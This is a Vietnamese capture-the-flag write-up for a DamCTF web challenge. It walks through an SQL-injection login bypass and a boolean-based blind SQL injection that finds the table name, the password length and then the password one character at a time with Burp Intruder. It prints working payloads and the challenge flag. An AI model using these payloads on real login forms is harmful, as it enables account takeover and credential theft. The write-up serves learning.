link: https://damctf.xyz/challs

- Ban đầu đây là 1 trò chơi, khi các bạn thua cuộc sẽ hiện ra khung đăng nhập

- tiếp sau đó khi ấn vào phần Scoreboard các bạn sẽ thấy hiện ra bảng xếp hạng, điều đặc việt ở đây là có 2 thành viên vip

- Nhìn vào đây mình đã nghĩ là chắc chắn sẽ có điều gì đặc biệt trong tài khoản vip này, khả năng rất cao là bài này liên quan đến lỗ hổng SQLi, sau đó mình thử dùng burp suite để chặn lại xem đầu vào có gì đặc biệt không

- Nhìn xem nó gửi đi 3 object với 1 cái là username và 1 cái là password, rất đang lưu lại vì nó có thể là tên cột. Sau đó mình thử đăng nhập vào 1 trong 2 tài khoản vip này bằng payload injection cơ bản

- Một lỗi khá kì lạ xảy ra từ phía server, chứng tỏ là payload này có tác động đến server, tiếp theo mình thử tìm những payload khác thì cuối cùng cũng tìm ra payload hợp lệ là BobbySinclusto’ # và nó cũng cho mình biết là web này dùng CSDL là MySQL.
- Sau khi đăng nhập được vào thì mình nhìn thấy button Free Flag, đây chắc chắn là chỗ giấu cờ, nhưng khi bấm vào thì nó bắt xác thực lại và mọi payload cũ đều không có tác động gì

- Nó cho thấy người chơi bắt buộc phải khai thác thông tin ở lỗ hổng SQLi đầu tiên, giờ ta quay trở lại trang đăng nhập đầu tiên và thử payload cơ bản khác xem nó có hoạt động không, mình đã thử rất nhiều payload và đến cái này thì được
- BobbySinclusto’ and (Select ‘a’) like ‘a’#
- Sau đó mình đã nghĩ đến cách khai thác password của user này bằng cách dò từng kí tự của password, nhưng trước hết ta cần phải biết tên bảng. Sau 1 khoảng thời gian search gg thì mình ra được payload kiểm tra tên bảng của MySQL, trước tiên cần kiểm tra số kí tự trong tên bảng
- BobbySinclusto’ and (Select LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database()) > 1#
- Khi mình thử đến 5 thì bị lỗi

- Điều này chứng tỏ tên bảng chỉ có 5 kí tự và mình thử ngay với users
- BobbySinclusto’ and (Select SUBSTRING(table_name,1,5) FROM information_schema.tables WHERE table_schema=database()) like “users”#
- Nó vẫn login được chứng tỏ bước đầu đã thành công. Tiếp theo mình thử luôn với cột username và cột password như mình đã nghi ngờ ở phần đầu để tìm độ dài mật khẩu
- BobbySinclusto’ and (Select LENGTH(password) FROM users WHERE username like “BobbySinclusto”) > 1#
- Oh yeah, mọi thứ suôn sẻ hơn những gì mình nghĩ, tiếp tục làm như trên thì đến payload 11 thì bị lỗi

- Lúc này ta đã biết được mật khẩu có 11 kí tự, sau đó mình dùng burp intruder để thực hiện dò từng kí tự 1 với payload
- BobbySinclusto’ and (Select SUBSTRING(password,$1$,1) FROM users WHERE username like “BobbySinclusto”) like “$a$”#
- Sau khi kết thúc thì mình được mật khẩu là p@$$w0rd12!, sau đó mình dùng nó để lấy cờ và flag của chúng ta là:
- dam{b0uNCE_B0UNcE_b0uncE_B0uNCY_B0unce_b0Unce_b0Unc3}
Tham khảo:
- Em Quốc Anh